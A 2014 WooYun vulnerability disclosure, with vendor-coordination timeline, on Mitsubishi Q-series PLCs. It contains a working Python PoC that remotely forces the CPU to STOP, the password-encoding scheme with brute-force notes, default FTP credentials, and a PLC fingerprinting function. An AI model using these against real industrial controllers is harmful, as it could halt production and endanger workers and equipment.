当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066585

漏洞标题:三菱Q系列PLC安全分析报告(工具实现批量PLC指纹识别/攻击附视频)

相关厂商:三菱电机自动化(中国)有限公司

漏洞作者: Z-0ne

提交时间:2014-06-28 22:55

修复时间:2014-08-12 22:56

公开时间:2014-08-12 22:56

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-28: 细节已通知厂商并且等待厂商处理中
2014-07-03: 厂商已经确认,细节仅向厂商公开
2014-07-13: 细节向核心白帽子及相关领域专家公开
2014-07-23: 细节向普通白帽子公开
2014-08-02: 细节向实习白帽子公开
2014-08-12: 细节向公众公开

简要描述:

还是负责任的科普一下PLC是运行在工业环境中的可编程控制器,广泛的应用钢铁、石油、化工、电力、能源等各个行业的自控环境。
一般根据PLC品牌不同PLC可能有多种工作模式,如运行,停止,编程等。
在生产环境下运行的PLC故障或者停止工作可能会引起了人员伤亡、设备损坏等。
经测试三菱PLC(Q03UDECPU)该缺陷远程触发后会导致CPU切换到STOP状态(PLC CPU RUN指示灯熄灭),并且无法手动恢复(即使使用CPU上STOP到RUN开关手动切换也无法点亮RUN),重新恢复运行模式需要RESET(即冷启动)或重新上电。(此条可能存在争议,可能存在触发条件)
虽然设经置密码能有效防范Replay攻击,但是Q系列PLC在密码实现上存在一定缺陷(密码字段由加密4个字节组成),穷举时通过判断响应的报文确认密文字段,同时在传输时无法抵御MITM,可以通过报文推出密码。
Q系列PLC开放的外部服务可以有效的作为识别设备的手段(非需要启用单独设置的三菱MC协议方式),如FTP服务和通讯端口,通过这些可以准确的读取设备的产品信息(目前我们的扫描工具实现了通过扫描PLC开放的默认端口,判断端口开放后,再调用设备识别函数,读取设备产品信息。工具目前支持Modbus,西门子S7,欧姆龙PLC,三菱PLC,AB PLC,GE PLC,IEC104,DNP3,Rslinx服务等设备批量扫描和关键信息识别用于帮助我们分析资产状况)。

详细说明:

Q03UDE正面图

03ude.jpg


简要分析说明
0x1
以Q03UDE CPU模块(自带以太网口)为例,默认状态下未修改任合扩展协议设置,端口开放了TCP/5007,UDP/5006(用于与编程软件通过以太网方式通信)
0x2
GX Developer是三菱各系列PLC的官方编程软件,在与PLC通讯时可以选择多种总线通讯方式,当然也支持以太网与PLC CPU通信。软件与PLC通讯时可以使用选择UDP(5006)或者TCP(5007),不在相同网段实现配置基于UDP广播。
0x3
通过分析软件与PLC的通讯报文,在进行关键操作时应用层报文与开放的三菱Q系列MELSEC通讯协议(可百度)有相似之处,如操作码,例远程读取CPU信息(0101),远程停止cpu(1002),远程reset(1006)等。如果编程软件曾经和PLC之间有过通讯则可能就会造成如下视频中的状况。

stop.png


0x4
启用远程口令保护后,远程操作PLC部分功能需要验证口令,三菱系列PLC密码固定为4位,验证密码时软件会请求密码验证帧,4位密码会按顺序加密成固定的有序的4字节,例如设置的密码为1111则对应57,2e,c3,fa,而4321则为54,30,c0,fa(通过密码对应关系即可组合穷举破解密码,这里虽然我们根据正确密码与错误密码返回的不同报文判断,并实现了穷举的工具,但是我们不认为有很高的命中率,甚至会导致PLC工作异常,err灯变红)。

testpass.png


attpasswd.png


0x5
启用扩展FTP后,FTP存在默认口令用户名密码均为QNUDECPU,FTP欢迎标识明显如下图,可以作为设备识别的手段,更多可使用SHODAN等引擎搜索,用户登录FTP后可以使用命令获取CPU中的参数和数据等用户文件。

ftptest.png

漏洞证明:

演示视频地址
http://plcscan.org/blog/demo/attacking-Mitsubishi-Q-PLC-demo.swf
测试POC:

#coding:utf-8
import sys
import socket
print 'ICS Security Workspace'
print 'Mitsubish Q PLC CPU Modules Remote STOP'
ip = raw_input("enter PLC ip:")
test = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
test.connect((ip, 5006))
# 59 00 01 00 00 11 11 07 00 00 ff ff 03 00 00 fe 03 00 00 06 00 16 40 57 31 c1 ff
# 报文最后4个字节为密码加密字段
# 57 31 c1 ff对应1234
#test.send('\x59\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x06\x00\x16\x40\x57\x31\xc1\xff') #密码认证帧
#10 02 CPU停止功能码
test.send('\x57\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x14\x00\x1c\x08\x0a\x08\x00\x00\x00\x00\x00\x00\x00\x04\x10\x02\x08\x00\x00\x00\x01\x00')
str = repr(test.recv(1024))
print 'Send UDP CPU STOP Package'
test1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
test1.connect((ip, 5007))
test1.send('\x57\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x14\x00\x1c\x08\x0a\x08\x00\x00\x00\x00\x00\x00\x00\x04\x10\x02\x08\x00\x00\x00\x01\x00')
str1 = repr(test1.recv(1024))
print 'Send TCP CPU STOP Package'
raw_input('enter exit')


设备识别核心函数

#define MITSUBISHI_TCP_PORT    5007
//使用0101功能读取CPU信息
static int PlcScanMitsubishi(in_addr_t ipAddr)
{
int i;
int nRet = -1;
int nSockFd = -1;
struct in_addr in;
unsigned char uchRequest[] = {0x57, 0x00, 0x00, 0x00, 0x00, 0x11, 0x11, 0x07, 0x00
, 0x00, 0xff, 0xff, 0x03, 0x00, 0x00, 0xfe, 0x03, 0x00
, 0x00, 0x14, 0x00, 0x1c, 0x08, 0x0a, 0x08, 0x00, 0x00
, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x01, 0x01
, 0x00, 0x00, 0x00, 0x00, 0x01};
unsigned char uchResponse[256] = {0};
int nResponse = 0;
#define MITSUBISHI_CPU_INDEX 41
#define MITSUBISHI_CPU_LEN 15


密码对应关系(数字部分)

passwd.png

修复方案:

在网络中添加基于黑名单或者白名单的访问认证

版权声明:转载请注明来源 Z-0ne@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-03 11:41

厂商回复:

CNVD确认所述情况(暂时不具备验证条件),已经转由CNCERT向JPCERT JVN通报,由其后续协调本国企业处置。后续CNCERT将向上级信息安全主管部门报备相关情况。工控漏洞,rank 20

最新状态:

暂无